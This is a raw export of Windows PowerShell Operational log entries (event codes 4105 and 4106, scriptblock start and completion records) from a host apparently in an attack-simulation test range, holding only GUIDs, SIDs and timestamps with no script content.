LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038599
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038598
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038581
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038575
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038553
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038551
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038550
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
